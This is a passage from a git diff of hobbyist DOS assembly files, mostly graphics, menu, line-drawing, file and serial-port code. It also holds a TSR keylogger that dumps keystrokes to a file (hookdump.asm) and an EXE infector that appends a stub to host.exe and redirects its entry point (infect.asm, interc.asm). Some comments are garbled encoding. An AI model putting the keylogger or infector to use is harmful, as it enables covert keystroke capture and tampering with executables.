+		push 	cs
+		pop 	es		
+		mov 	di, offset PalTabl
+		mov 	si, 0
+		mov 	cx, 0A0h
+lp1:	push 	cx
+		mov 	cx, 0a0h
+		repe 	movsb
+		pop 	cx
+		add 	si, 0a0h
+		loop 	lp1
+	pop ds
+	pop es
+	popa
+	ret
+endp
+;
+; 
+LoadBuf	proc near
+	pusha
+		mov 	di, 0
+		push 	cs
+		pop 	ds
+		mov 	si, offset PalTabl
+		mov 	cx, 0A0h
+lp2:	push 	cx
+		mov 	cx, 0a0h
+		repe 	movsb
+		pop 	cx
+		add 	di, 0a0h
+		loop 	lp2
+	popa
+	ret
+endp
+;
+ShowMenu	proc	near
+	pusha
+		mov		buttonPr, 0
+		mov 	ax,	1130h
+		mov 	bh, 06h
+		int 	10h
+		mov 	FontSeg, es
+		mov 	FontOffs, bp
+
+		mov 	ax,	02
+		int 	33h
+		mov		ax, 0a000h
+		mov 	es,	ax
+		call	SaveBuf
+
+		mov 	di, 0
+		mov 	ax, 20
+		mov 	cx, 0a0h
+
+lp3:	push 	cx
+		mov 	cx, 0a0h
+		repe 	stosb
+		pop 	cx
+		add 	di, 0a0h
+	    loop 	lp3		
+
+	    mov 	di,	320*31
+	    mov 	ax, 4
+		mov 	cx, 4
+lp4:    push 	cx
+		mov 	cx, 160
+		repe	stosb
+		pop 	cx
+		add		di, 320*31-160
+		loop lp4
+
+		push	0
+		push	5
+		call	DrawMenuLine
+		push	1
+		push	3
+		call	DrawMenuLine
+		push	2
+		push	3
+		call	DrawMenuLine
+		push	3
+		push	3
+		call	DrawMenuLine
+		push	4
+		push	3
+		call	DrawMenuLine
+
+		mov 	ax,	01
+		int 	33h 
+
+;	setMOusePos
+		mov ax, 4
+        mov cx, 0
+		mov dx, 0
+		int 33h
+;	SetMouseBounds
+		mov ax, 7
+		mov cx, 0
+		mov dx, 140h
+		int 33h
+		mov ax, 8
+		mov cx, 0
+		mov dx, 0a0h
+		int 33h
+
+MENUsel:mov 	ax, 03
+		int 	33h
+		shr	    dx,	5
+		cmp		dx,	curline
+		je		blah
+		push	dx
+		mov		ax, 02
+		int 	33h
+		push	curline
+		push	3
+		call	DrawMenuLine
+		pop		dx
+		mov		curline,	dx
+		push	curline
+		push	5
+		call	DrawMenuLine
+		mov		ax, 01
+		int 	33h
+		jmp		menusel
+
+blah:	test 	bx, 1
+		jz		blah2
+		mov		buttonPr, 1
+		jmp		MENUsel
+blah2:  cmp		ButtonPr,	1
+		jne		MENUsel
+		
+		cmp		curline,	0
+		jne		menu1
+
+		mov 	ax,	02
+		int 	33h
+		push	offset	RodName
+		call	Load
+		mov 	ax, 7
+		mov 	cx, 0
+		mov 	dx, 280h
+		int 	33h
+		mov 	ax, 8
+		mov 	cx, 0
+		mov 	dx, 0c8h
+		int 	33h
+		mov 	ax,	01
+		int 	33h
+		popa
+		ret
+menu1:	cmp		curline,	1
+		jne		menu2
+		mov 	ax,	02
+		int 	33h
+		call	LoadBuf
+		push	offset	RodName
+		call	save
+		mov 	ax, 7
+		mov 	cx, 0
+		mov 	dx, 280h
+		int 	33h
+		mov 	ax, 8
+		mov 	cx, 0
+		mov 	dx, 0c8h
+		int 	33h
+		mov 	ax,	01
+		int 	33h
+		popa
+		ret
+menu2:	cmp		curline,	2
+		jne		menu3
+		call	DrawPal
+		jmp		menuend
+menu3:	cmp		curline,	3
+		jne		menuend
+		jmp		over
+;tablend
+MENuend:	
+		mov 	ax,	02
+		int 	33h  
+		call	LoadBuf
+		mov 	ax, 7
+		mov 	cx, 0
+		mov 	dx, 280h
+		int 	33h
+		mov 	ax, 8
+		mov 	cx, 0
+		mov 	dx, 0c8h
+		int 	33h
+		mov 	ax,	01
+		int 	33h
+
+	popa
+	ret
+endp
+;
+;---------------------------------------------
+OutCharXY proc near 		  ;OutCharXY(X,Y,Char,Color,bg,TableOffs,TableSeg)
+	push bp
+	mov bp, sp
+TableSeg  	equ word ptr [bp+4]
+TableOffs 	equ word ptr [bp+6]
+Color		equ byte ptr [bp+10]
+Bg	 		equ byte ptr [bp+8]
+Char 		equ byte ptr [bp+12]
+posY		equ	word ptr [bp+14]
+posX		equ	word ptr [bp+16]
+    pusha
+    push es
+;----------------------------
+;  Character Creation
+    	mov di, TableOffs
+    	mov es,	TableSeg
+    	mov ah, 0
+    	mov al, Char
+        shl ax, 4
+		add di,	ax
+        mov cx,	16
+		mov si,	offset face
+MainLoop:
+		mov bh, es:di
+		push cx
+		mov cx, 8
+LineLoop:
+		test bh, 80h
+        jz	BackGround
+        mov ah, Color
+        mov byte ptr ds:[si], ah
+		jmp LoopEnd
+BackGround:
+        mov ah, Bg
+	    mov byte ptr ds:[si], ah
+LoopEnd:
+		shl bh, 1
+		inc si
+		loop LineLoop
+		pop cx
+		inc di
+		loop MainLoop
+; End of Character creation
+;=======================================
+	mov ax,	posX
+	push ax				; X position
+
+	mov ax,	posY
+	push ax 			; Y position
+
+	push offset face    ; Character bitmap
+	push 8				; SizeX
+	push 16				; SizeY
+    call WriteSprite	; WriteChar
+
+    pop es
+    popa
+	pop bp
+	ret 14
+endp
+;-------------------------------------------
+WriteSprite proc near         ;writesprite(x,y,char *sprt,razmx,razmy)
+    push bp
+    mov bp,sp
+razmy equ word ptr [bp+4]
+razmx equ word ptr [bp+6]
+sprt  equ word ptr [bp+8]
+posy  equ word ptr [bp+10]
+posx  equ word ptr [bp+12]
+    pusha
+    push es
+
+    mov ax, 0A000h
+    mov es, ax
+    mov ax, posy
+    mov bx, ax
+    shl ax, 8
+    shl bx, 6
+    add ax, bx
+    add ax, posx
+    mov di, ax
+    mov ax, sprt
+    mov si, ax
+    mov cx, razmy
+lup:
+    push cx
+    mov cx, razmx
+    repe movsb
+    add di, 320
+    sub di,razmx
+    pop cx
+    loop lup
+
+    pop es
+    popa
+    pop bp
+ret 10
+endp
+
+DrawMenuLine	proc	near	;DrawMenuLine(int Linenum,int color);
+	push 	bp
+	mov 	bp,	sp
+Color4 	EQU	word ptr	[bp+4]
+linenum	EQU	byte ptr	[bp+6]
+	pusha
+		cmp		linenum,	0
+		jne		tst2
+		push	64
+		push	8
+		push	offset	line1
+		push	color4
+		push	20
+		push	FontOffs
+		push	FontSeg
+		call	OutTextXY
+		jmp		fend
+tst2:	cmp		linenum,	1
+		jne		tst3
+		push	64
+		push	40
+		push	offset	line2
+		push	color4
+		push	20
+		push	FontOffs
+		push	FontSeg
+		call	OutTextXY
+		jmp		fend
+tst3:	cmp		linenum,	2
+		jne		tst4
+		push	60
+		push	72
+		push	offset	line3
+		push	color4
+		push	20
+		push	FontOffs
+		push	FontSeg
+		call	OutTextXY
+		jmp		fend
+tst4:	cmp		linenum,	3
+		jne		tst5
+		push	64
+		push	104
+		push	offset	line4
+		push	color4
+		push	20
+		push	FontOffs
+		push	FontSeg
+		call	OutTextXY
+		jmp		fend
+
+tst5:	push	64
+		push	136
+		push	offset	line5
+		push	color4
+		push	20
+		push	FontOffs
+		push	FontSeg
+		call	OutTextXY
+fend:
+	popa
+	pop		bp
+	ret 4
+endp
+
+OutTextXY	proc	near
+	push bp
+	mov bp, sp
+TableSeg2  	equ word ptr [bp+4]
+TableOffs2 	equ word ptr [bp+6]
+Color2		equ word ptr [bp+10]
+Bg2	 		equ word ptr [bp+8]
+String		equ word ptr [bp+12]
+posY2		equ	word ptr [bp+14]
+posX2		equ	word ptr [bp+16]
+    pusha
+    push	es
+    		mov ax,	posx2
+    		mov	di,	String
+drlp:		cmp byte ptr cs:[di],	0
+			je	drend
+			push 	ax
+			push	posy2
+			mov 	bl,	cs:[di]
+			mov 	bh,	0
+			push 	bx
+			push	color2
+			push	bg2
+			push	tableoffs2
+			push	tableseg2
+			call	outcharxy
+			add		ax,	8
+			inc		di
+			jmp		drlp
+drend:		
+    pop		es
+    popa
+	pop bp
+	ret 14
+endp
+
+Save	proc	near
+	push	bp
+	mov		bp,	sp
+SFN	EQU	word ptr [bp+4]
+	pusha
+	push	es
+		mov		ah,	3ch
+		mov		cx,	0
+		mov		dx,	SFN
+		int		21h
+		jc		mend
+		mov		bx,	ax
+		mov		ah,	40h
+		mov		dx,	offset	buf
+		mov		cx,	6
+		int		21h
+
+		mov		cx,	100h
+		mov		dx,	3c7h
+		mov		al,		0
+		out		dx, al
+		mov		di,	offset buf
+pallp:  push	cx
+		mov		dx,	3c9h
+		in		al,	dx
+		mov		di[0],	al
+		in		al,	dx
+		mov		di[1],	al
+		in		al,	dx
+		mov		di[2],	al
+
+		mov		dx,	di
+		mov		ah,	40h
+		mov		cx,	3
+		int		21h
+		pop		cx
+		loop	pallp
+
+		push	ds
+		push	es
+		pop		ds
+		mov		ah,	40h
+		mov		dx,	0
+		mov		cx,	0fA00h
+		int		21h
+		pop		ds
+
+		mov		ah, 3eh
+		int		21h		
+mend:
+	pop		es
+	popa
+	pop		bp
+	ret		2
+buf	db	'RODGfx'
+endp
+
+Load	proc	near
+	push	bp
+	mov		bp,	sp
+LFN	EQU	word ptr [bp+4]
+	pusha
+	push	es
+		mov		ax,	3d00h
+		mov		dx,	LFN
+		int		21h
+		jc		mend2
+		mov		bx,	ax
+		mov		ah,	3fh
+		mov		dx,	offset	buf
+		mov		cx,	6
+		int		21h
+
+		mov		cx,	100h
+		mov		dx,	3c8h
+		mov		al,		0
+		out		dx, al
+		mov		di,	offset buf2
+
+pallp2: push	cx
+		mov		dx,	di
+		mov		ah,	3fh
+		mov		cx,	3
+		int		21h
+
+		mov		dx,	3c9h
+		mov		al,	di[0]
+		out		dx, al
+		mov		al,	di[1]
+		out		dx, al
+		mov		al,	di[2]
+		out		dx, al 
+		pop		cx
+		loop	pallp2
+
+		push	ds
+		push	es
+		pop		ds
+		mov		ah,	3fh
+		mov		dx,	0
+		mov		cx,	0fA00h
+		int		21h
+		pop		ds
+
+		mov		ah, 3eh
+		int		21h		
+mend2:
+	pop		es
+	popa
+	pop		bp
+	ret		2
+buf2	db	6 dup (?)
+endp
+
+
+face		db 128 dup (?)
+FontOffs	dw ?
+FontSeg		dw ?
+curcol		db 	4
+Line1		db	'Load',0
+Line2		db	'Save',0
+Line3		db  'Color',0
+Line4		db	'Quit',0
+Line5		db	'Back',0
+curline		dw	0
+buttonPr	db	0
+RodName		db	'rod.pic',0
+PalTabl		db	6400h dup (?)
+end start

+ 226 - 0
ASM/!ALL/flame.asm

@@ -0,0 +1,226 @@
+; tasm
+; tlink
+; as usual 8-)
+
+.286
+JUMPS
+ASSUME CS:_Code,DS:_DATA,SS:_Stack
+
+EXTRN _X_set_mode: FAR
+
+_Stack Segment Para Stack 'Stack'
+    db 2048 dup (?)
+_Stack EndS
+
+_Data  Segment Para Public 'Data'
+       flames		db 32*64 dup (0)
+       new_flames	db 32*64 dup (0)
+       x			dw 0
+       y			dw 0
+_Data  EndS
+
+_Code  Segment Para Public 'Code'
+
+Intro  Proc   Far
+       push ds
+       xor  ax,ax
+       push ax
+       ASSUME ds:_DATA
+       mov  ax,_DATA
+       mov  ds,ax
+
+       mov  ax,0013h
+       int  10h
+
+       mov  dx,03c8h  ; Set up palette,  black -> red
+       xor  al,al
+       out  dx,al
+       inc  dx
+       mov  cx,8
+@set_red:
+       mov  al,16  ; Some stupid comments
+       sub  al,cl
+       shl  al,3  ; Multiply al with 4
+       out  dx,al
+       xor  al,al  ; Xor al with al
+       out  dx,al
+       out  dx,al
+       loop @set_red  ; Loop this 16 times  (nah...no more stupid comments)
+
+       mov  cx,16  ; Set red -> yellow
+@set_yellow:
+       mov  al,60
+       out  dx,al
+       mov  al,16
+       sub  al,cl
+       shl  al,2
+       out  dx,al
+       xor  al,al
+       out  dx,al
+       loop @set_yellow
+
+       mov  cx,16  ; set yellow -> white
+@set_white:
+       mov  al,60
+       out  dx,al
+       out  dx,al
+       mov  al,16
+       sub  al,cl
+       shl  al,2
+       out  dx,al
+       loop @set_white
+
+       mov  cx,208  ; Set remaing colors to white
+       mov  al,63
+@whithey:
+       out  dx,al
+       out  dx,al
+       out  dx,al
+       loop @whithey
+
+@WaitESC:
+
+       push ds
+       pop  es
+       cld
+
+       lea  di,flames
+       mov  si,di
+       add  di,64
+       add  si,96
+       mov  cx,61*16
+       rep  movsw   ; Scroll the array 1 step up
+
+       add  di,6
+       mov  cx,4
+@put_hot_spots:
+       push di
+       push cx
+       push di
+       mov  ax,20   ; Get a random x value for hotspot
+       call random
+       pop  di
+       add  di,ax
+       push di
+       mov  ax,190
+       call random
+       pop  di
+       pop  cx
+       mov  ah,al
+       mov  [di],ax   ; Set the hotspot
+       pop  di
+       loop @put_hot_spots  ; Set 4 new hotspots
+
+       mov  word ptr x,1
+       mov  word ptr y,1
+@scanning_flames:   ; Loop for calculate the new flame array
+       mov  di,y   ; Interpolate the 8 pixels around the location we wanna calculte a new value for
+       shl  di,5
+       add  di,x
+       xor  ax,ax
+       xor  bx,bx
+       mov  bl,flames[di-33]
+       mov  al,flames[di-32]
+       add  bx,ax
+       mov  al,flames[di-31]
+       add  bx,ax
+       mov  al,flames[di-1]
+       add  bx,ax
+       mov  al,flames[di+1]
+       add  bx,ax
+       mov  al,flames[di+31]
+       add  bx,ax
+       mov  al,flames[di+33]
+       add  bx,ax
+       mov  al,flames[di+33]
+       add  bx,ax
+       shr  bx,3
+       mov  new_flames[di],bl  ; Save this in the new array
+       inc  x
+       cmp  word ptr x,32
+       jb   @scanning_flames
+       mov  word ptr x,1
+       inc  y
+       cmp  word ptr y,64
+       jb   @scanning_flames  ; Do it for the whole "map"
+
+       lea  di,flames
+       lea  si,new_flames
+       mov  cx,64*16
+       rep  movsw   ; Move new "map" to old "map" array
+
+       mov  ax,0a000h
+       mov  es,ax
+       lea  si,flames
+       mov  di,320*100+100
+       mov  bx,60
+@plot_it:
+       mov  cx,16
+       rep  movsw
+       add  di,320-32
+       dec  bx
+       jnz  @plot_it   ; Plot the flames
+
+       mov  dx,03dah
+@bettan:
+       in   al,dx
+       test al,8
+       je   @bettan
+@bettan2:
+       in   al,dx
+       test al,8
+       jne  @bettan2   ; Wait for vertical retrace
+
+       in   al,60h
+       cmp  al,1
+       jne  @WaitESC   ; Wait until the user have pressed ESC
+
+       mov  ax,0003h   ; Text mode and Leave the program.
+       int  10h
+       mov  ax,4c00h
+       int  21h
+Intro  EndP
+
+;------------------------------------------------------------------------------
+RandSeed dd  0
+
+Randomize Proc
+  mov  ah,2Ch
+  int  21h
+  mov  Word ptr cs:[RandSeed],cx
+  mov  Word ptr cs:[RandSeed+2],dx
+  ret
+Randomize endP
+;------------------------------------------------------------------------------
+; In:  AX - Range
+; Out: AX - Value within 0 through AX-1
+; Destroys: All ?X and ?I registers
+Random  proc
+  mov  cx,ax  ; save limit
+  mov  ax,Word ptr cs:[RandSeed+2]
+  mov  bx,Word ptr cs:[RandSeed]
+  mov  si,ax
+  mov  di,bx
+  mov  dl,ah
+  mov  ah,al
+  mov  al,bh
+  mov  bh,bl
+  xor  bl,bl
+  rcr  dl,1
+  rcr  ax,1
+  rcr  bx,1
+  add  bx,di
+  adc  ax,si
+  add  bx,62e9h
+  adc  ax,3619h
+  mov  word ptr cs:[RandSeed],bx
+  mov  word ptr cs:[RandSeed+2],ax
+  xor  dx,dx
+  div  cx
+  mov  ax,dx   ; return modulus
+  ret
+Random  EndP
+
+_Code  EndS
+
+END Intro

+ 14 - 0
ASM/!ALL/hack.asm

@@ -0,0 +1,14 @@
+.model small
+.code
+org 100h
+start:
+	add si, 7
+	jmp si
+	dw 0BB1ah
+	mov ah, 9h
+	mov dx, offset msg
+	int 21h
+	mov ah, 4ch
+    int 21h
+msg db 'Hello$'
+end start

+ 143 - 0
ASM/!ALL/hookdump.asm

@@ -0,0 +1,143 @@
+.286
+.model small
+.code
+org 100h
+start:
+	mov ax,	4ch*4
+	mov si, ax
+	mov ax, 0
+	mov es,	ax
+	mov ax,	es:[si]
+	cmp ax, 0FAC0h
+	je  UNLOAD
+	mov old0x4Co, ax
+	mov ax,	es:[si+2]
+	mov old0x4Cs, ax
+	mov word ptr es:[si], 0FAC0h
+	mov word ptr es:[si+2], cs
+	mov ax,	3509h
+	int 21h
+	mov old0x9s,	es
+	mov old0x9o,	bx
+
+	mov ax,	3528h
+	int 21h
+	mov old0x28s,	es
+	mov old0x28o,	bx
+
+	mov ax,	2509h
+	mov dx,	offset NEW0x9
+	int 21h
+
+	mov ax,	2528h
+	mov dx,	offset NEW0x28
+	int 21h
+
+	mov ah,	31h
+	mov dx,	50h
+	int 21h
+
+UNLOAD: mov ax, es:[si+2]
+	mov es,	ax
+	mov ax,	2509h
+	mov ds,	es:[offset old0x9o]
+	mov dx,	es:[offset old0x9s]
+	int 21h
+
+	mov ax,	2528h
+	mov ds,	es:[offset old0x9o]
+	mov dx,	es:[offset old0x9s]
+	int 21h
+	mov ax, es:[offset old0x4Co]
+	mov bx, es:[offset old0x4Cs]
+	mov cx,	0
+	mov es, cx
+	mov es:[4ch*4], ax
+	mov es:[4ch*4+2], bx
+	int 20h
+NEW0x9:
+	pusha
+	push es
+	mov ax,	40h
+	mov es,	ax
+	mov ax, es:[1ch]
+	mov bx, ax
+	pushf
+	call dword ptr [old0x9o]
+	mov ax, es:[1ch]
+	cmp ax,	bx
+	je NOTNEWBUTT
+	mov si,	ax
+	mov bx,	cnt
+	cmp si,	1ch
+	jne OBLS
+	mov dl,  es:[3ch]
+	jmp GGG
+OBLS:	mov dl,  es:[si-2]
+GGG:	mov cs:buf[bx], dl
+	inc cnt
+NOTNEWBUTT:
+        cli
+        mov al,  20h
+        out 20h, al
+        pop es
+        popa
+        iret
+
+NEW0x28:
+	pusha
+	push es
+
+	pushf
+	call dword ptr [old0x28o]
+
+	cmp cnt, 10
+	jne SHIT
+
+	mov cnt, 0
+	push ds
+	push cs
+	pop ds
+	mov ax,	3d02h
+	mov dx,	offset fname
+	int 21h
+	jc  create
+	jmp cool
+create:
+	mov ah,	3ch
+	mov cx,	0
+	mov dx,	offset fname
+	int 21h
+cool:
+	mov bx, ax
+	mov ah,	42h
+	mov al,	2
+	mov cx,	0
+	mov dx,	0
+	int 21h
+
+	mov ah,	40h
+	mov cx,	10
+	mov dx,	offset buf
+	int 21h
+
+	mov ah,	3eh
+	int 21h
+	pop ds
+
+SHIT:
+        pop es
+        popa
+        iret
+
+old0x9o 	dw 0
+old0x9s		dw 0
+old0x28o 	dw 0
+old0x28s 	dw 0
+OLD0x4Co	dw 0
+OLD0x4Cs	dw 0
+
+cnt	dw 0
+buf 	db 10 dup (?)
+fname db 'fuck.dmp',0
+end start

+ 16 - 0
ASM/!ALL/host.asm

@@ -0,0 +1,16 @@
+.model small
+.code
+
+	gg db 500 dup (2)
+
+start:
+	mov ah, 09
+	push cs
+	pop ds
+	mov dx, offset st1
+	int 21h
+
+	mov ah, 4ch
+	int 21h
+st1	db 'Hello bad world',13,10,'$'
+end start

+ 109 - 0
ASM/!ALL/infect.asm

@@ -0,0 +1,109 @@
+.model small
+.code
+org 100h
+start:
+;------------- Interceptor -------------
+	mov ax, 3d00h
+	mov dx, offset _iname
+	int 21h
+	mov bx, ax
+
+	mov ah, 3fh
+	mov dx, offset buffer
+	mov cx, 10000
+	int 21h
+
+	mov _isize, ax
+
+	mov ah, 3eh
+	int 21h
+;------------- Interceptor -------------
+
+;------------- Host --------------------
+	mov ax, 3d02h
+	mov dx, offset _hname
+	int 21h
+	mov bx, ax
+	mov handle, ax
+
+	mov ah, 3fh
+	mov dx, offset header
+	mov cx, 24
+	int 21h
+;------------- Host --------------------
+
+;------------- Header ------------------
+	mov ax, word ptr header + 22		; Old rCS1
+	mov word ptr buffer + 5, ax			; Save
+	mov ax, word ptr header + 20		; Old rIP1
+	mov word ptr buffer + 3, ax			; Save
+
+	mov ax, word ptr header + 4			; AX <= pagecnt
+	dec ax
+	shl	ax, 9
+	add ax, word ptr header + 2			; AX += partpg
+
+    mov dx, ax							; /  Size of 
+    mov bx, word ptr header + 8			; |  Loadable
+    shl bx, 4							; |  Part
+    sub dx, bx							; \ ( DX: Our NEW rCS:[rIP] )
+
+    mov bx,	dx	
+	shr bx, 4							; BX = rCS2
+	mov word ptr buffer + 9, bx
+	mov word ptr header + 22, bx
+	shl bx, 4
+	sub dx, bx							; DX = rIP2
+	mov word ptr buffer + 7, dx
+	mov word ptr header + 20, dx
+
+	add ax, _isize
+	mov bx, ax
+	shr bx, 9
+	inc bx								; BX=new pgcnt
+	mov word ptr header + 4, bx
+
+	dec bx
+	shl bx, 9
+	sub ax, bx							; AX = new partpg
+	mov word ptr header + 2, ax	                       
+;------------- HEader ------------------
+
+;------------- Host --------------------
+	mov ax, 4200h
+	mov bx, handle
+	xor cx, cx
+	xor dx, dx
+	int 21h
+
+	mov ah, 40h
+	mov cx, 24
+	mov dx, offset header
+	int 21h
+
+	mov ax, 4202h
+	xor cx, cx
+	xor dx, dx
+	int 21h
+
+	mov ah, 40h
+	mov cx, _isize
+    mov dx, offset buffer
+    int 21h
+
+    mov ah, 3eh
+    int 21h
+;------------- Host --------------------
+
+	mov ah, 4ch
+	int 21h
+
+_hname		db 'host.exe',0
+_iname		db 'interc.com',0
+handle		dw ?
+header		db 24 dup (1)
+_isize		dw ?
+rCS2		dw ?
+rIP2		dw ?
+buffer		db 10000 dup (?)
+end start

+ 25 - 0
ASM/!ALL/initVGA.asm

@@ -0,0 +1,25 @@
+.model small
+.code
+org 100h
+start:	mov ah,0
+	mov al,13h
+	int 10h
+	mov ax,0A000h
+	mov es,ax
+	mov di, 0
+	mov cx,	0C8h
+	mov ax,	0h
+LP:	PUSH cx
+	mov cx,	0A0h
+	rep STOSW
+	inc ah
+	inc al
+	POP cx
+LOP:	loop LP
+	mov ah,8
+	int 21h
+	mov ah,0
+	mov al,3h
+	int 10h
+	int 20h
+end 	start

+ 28 - 0
ASM/!ALL/interc.asm

@@ -0,0 +1,28 @@
+.model small
+.code
+org 100h
+start:
+	call $+11
+	rIP1	dw 0
+	rCS1	dw 0
+	rIP2	dw 0
+	rCS2	dw 0
+	pop si
+
+	push cs
+    pop di
+
+    sub di, word ptr cs:[si+6]
+    add di, word ptr cs:[si+2]
+    mov ax, word ptr cs:[si]
+
+	PUSH DI
+	PUSH AX
+	
+	mov ah, 02
+	mov dl, 33
+	int 21h   
+	retf	
+
+
+end start

+ 8 - 0
ASM/!ALL/keyb.asm

@@ -0,0 +1,8 @@
+.model small
+.code
+org 100h
+start:	mov ah,01h
+	int 16h
+	jz start
+	int 20h
+end	start

+ 21 - 0
ASM/!ALL/line2

@@ -0,0 +1,21 @@
+.model small
+.code
+org 100h
+start:
+        mov ax,0013h
+        int 10h
+
+        mov cx,100
+        mov dx,cx
+draw:
+        mov ax,0C02h
+        xor bx,bx
+        int 10h
+        dec dx
+        loop draw
+
+        xor ax,ax
+        int 16h
+
+        ret
+end start

+ 111 - 0
ASM/!ALL/line3

@@ -0,0 +1,111 @@
+.286
+.model small
+.code       
+org 100h
+start:
+		mov ax, 13h
+		int 10h
+		mov ax, 0a000h
+		mov es, ax
+
+		push 9
+		push 20
+		push 20
+		push 200
+		push 20
+		call Line
+
+		mov ah, 08h
+		int 21h
+
+		mov ax, 3
+		int 10h
+		int 20h
+;------------------------------
+Line 		proc 	near
+	push bp
+	mov  bp,sp
+LY2 EQU		word ptr [bp+4]
+LX2 EQU		word ptr [bp+6]
+LY1 EQU		word ptr [bp+8]
+LX1 EQU		word ptr [bp+10]
+COL EQU		word ptr [bp+12]
+	pusha
+		mov ax, LX2
+		sub ax, LX1
+		jg LLX
+		neg ax
+		mov si, LX2
+	    mov mybeg, si
+		jmp TOY
+LLX:
+		mov si, LX1
+	    mov mybeg, si
+TOY:	mov bx, LY2
+		sub bx, LY1
+		jg LLY
+		neg bx
+	    mov otbeg, si
+		jmp TOW
+LLY:
+		mov si, LY1
+	    mov otbeg, si
+TOW:	cmp bx, ax
+		jl	MYX
+		mov cx, mybeg
+		mov si, otbeg
+		mov mybeg, si
+		mov otbeg, cx
+		mov ifY, 1
+		push ax
+		mov ax, bx
+		pop bx
+MYX:	mov gend, ax
+		mov ots,  bx
+mainloop:
+		mov ax, ots
+		mov bx, cur
+		mul bx
+		mov bx, gend
+		div bx
+		mov dx, ax
+		add dx, otbeg
+		cmp ifY, 0
+		jz  defs
+		mov ax, mybeg
+		add ax, cur
+        mov cx, ax
+        shl ax, 6
+        shl cx, 8
+        add ax, cx
+        add ax, dx
+        mov si, ax
+        mov ax, COL
+        mov byte ptr es:[si], al
+        jmp GGG
+defs:
+		mov cx, dx
+        shl dx, 6
+        shl cx, 8
+        add dx, cx
+        add dx, mybeg
+        add dx, cur
+        mov si, dx
+        mov ax, COL
+        mov byte ptr es:[si], al
+GGG:
+		inc cur
+		mov ax, cur
+		cmp ax, gend
+		jle mainloop
+	popa
+	pop bp
+	ret 10
+ifY		db 0
+mybeg	dw ?
+otbeg	dw ?
+cur		dw 0
+gend	dw ?
+ots		dw ?
+endp
+end start

+ 74 - 0
ASM/!ALL/lines.asm

@@ -0,0 +1,74 @@
+.model small
+.code
+org 100h
+start:	
+	mov ah, 0ah
+	mov dx,	offset smax
+	int 21h	
+	mov bx,	offset sreal
+	mov bl, byte ptr [bx]
+	mov bh,	0
+	mov filename[bx],0
+	mov ax,	03d00h
+	mov dx,	offset filename
+	int 21h
+	jc error
+	mov di,	1
+	mov bx,	ax
+	mov cx, 1
+	mov dx,	offset char
+loop1:	mov ah,	3fh
+	int 21h
+	cmp ax, 0
+	je fileend
+	cmp char, 0dh
+	jne loop1
+	inc di
+	jmp loop1
+fileend:
+	mov ah,	3eh
+	int 21h		
+; Int 2 Str
+	mov ax, di
+	mov si,	4
+	mov di, 2
+	mov cx,	10000
+	mov word ptr numlines[0], 0D0Ah
+
+loop2:	xor dx,	dx
+	div cx
+	cmp al,	0
+	je dbad	
+
+	add al, '0'
+	mov numlines[di], al
+	inc di
+	
+dbad:	PUSH dx
+	mov ax,	cx
+	mov bx,	10
+	xor dx,	dx
+	div bx
+	mov cx, ax
+	POP ax
+	dec si
+	jne loop2
+;			
+	add al, '0'
+	mov numlines[di], al
+	inc di
+	mov word ptr numlines[di], 0D0Ah
+	mov numlines[di+2], '$'
+
+	mov ah, 09h
+	mov dx, offset numlines
+	int 21h
+
+error:
+  	int 20h
+char		db ?
+smax		db 13
+sreal		db ?
+filename	db 14 dup (?)
+numlines	db 10 dup (?) 
+end start

+ 26 - 0
ASM/!ALL/mail.asm

@@ -0,0 +1,26 @@
+.model small
+.code
+org 100h
+start:
+	mov ah,	03ch
+	mov cx,	0
+	mov dx,	offset filename
+	int 21h
+	mov bx,	ax
+	mov dx,	offset buf
+	mov si,	0FFFFh
+	mov di,	100;
+	mov cx, 0ffh
+loop1:	mov ah,	40h
+	int 21h
+	sub si,	1
+	jne loop1
+	mov si,	0ffffh
+	sub di,	1
+	jne loop1
+	mov ah,	3eh
+	int 21h
+	int 20h
+filename	db 'ruleez2.pkt',0
+buf		db 0FFh dup ('R')
+end start

+ 176 - 0
ASM/!ALL/modem.asm

@@ -0,0 +1,176 @@
+.286
+.model small
+.code
+org 100h
+
+; UART Registers
+
+SER_RBF			EQU	0	; �ãä¥à ç⥭¨ï
+SER_THR			EQU 0	; ¡ãä¥à § ¯¨á¨
+SER_IER			EQU	1	; ॣ¨áâà à §à¥è¥­¨ï ¯à¥à뢠­¨©
+SER_IIR			EQU 2	; ॣ. ¨¤¥­â¨ä¨ª æ¨¨ ¯à¥à뢠­¨©
+SER_LCR			EQU 3	; ॣ. ã¯à ¢«. ¤ ­­ëå ¨ à §à¥è¥­. § £à㧪¨ ¤¥«¨â¥«ï
+SER_MCR			EQU 4	; ॣ. ã¯à ¢«. ¬®¤¥¬®¬
+SER_LSR			EQU 5	; ॣ. á®áâ®ï­¨ï «¨­¨¨
+SER_MSR			EQU 6	; ॣ. á®áâ. ¬®¤¥¬ 
+SER_DLL			EQU 0	; ॣ. ¬« ¤è. ¡ ©â ¤¥«¨â¥«ï
+SER_DLH			EQU 1	; ॣ. áâ àè. ¡ ©â ¤¥«¨â¥«ï 
+
+; Registers Bit masks
+
+SER_BAUD_1200	EQU 96	; ¤¥«¨â¥«¨ ¤«ï à §«¨ç­ëå ᪮à®á⥩
+SER_BAUD_2400	EQU 48
+SER_BAUD_9600	EQU 12
+SER_BAUD_19200	EQU 6
+SER_BAUD_38400	EQU	3
+SER_BAUD_57600	EQU 2
+
+SER_GP02		EQU 8	; à §à¥è¥­¨¥ ¯à¥à뢠­¨©
+
+COM1			EQU	3f8h	; � ç «ì­ë¥ ¯®àâë ª®¬®¢
+COM2			EQU 2f8h    ;
+
+SER_STOP_1		EQU 0	; á⮯-¡¨â ­  ᨬ¢®«
+SER_STOP_2		EQU 4	
+
+SER_BITS_5		EQU 0	; å § ç é¨å ¡¨â ­  ᨬ¢®«
+SER_BITS_6		EQU 1
+SER_BITS_7		EQU 2
+SER_BITS_8		EQU 3
+
+SER_PARITY_NONE	EQU 0 	; ª®­â஫ì ç¥â­®áâ¨
+SER_PARITY_ODD	EQU 8
+SER_PARITY_EVEN	EQU 24
+
+SER_DIV_LATCH_ON	EQU 128	; ¨á¯ ¯à¨ § £à㧪¥ ¤¥«¨â¥«ï
+
+PIC_IMR			EQU 21h		; ¬ áª  ¤«ï ॣ¨áâà  ¯à¥à뢠­¨©
+PIC_ICR			EQU 20h		; ¬ áª  ¤«ï ª®­â஫«¥à  ¯à¥à뢠­¨©
+
+INT_SER_PORT_0	EQU 0Ch		; ¤«ï ã¯à ¢«¥­¨ï ¯à¥à뢠­. COM1 & COM3
+INT_SER_PORT_1	EQU 0Bh		; ¤«ï ã¯à ¢«¥­¨ï ¯à¥à뢠­. COM2 & COM4
+
+; Current setting(for COM1), change them 
+;-------------------------------
+PORT 			EQU 3f8h
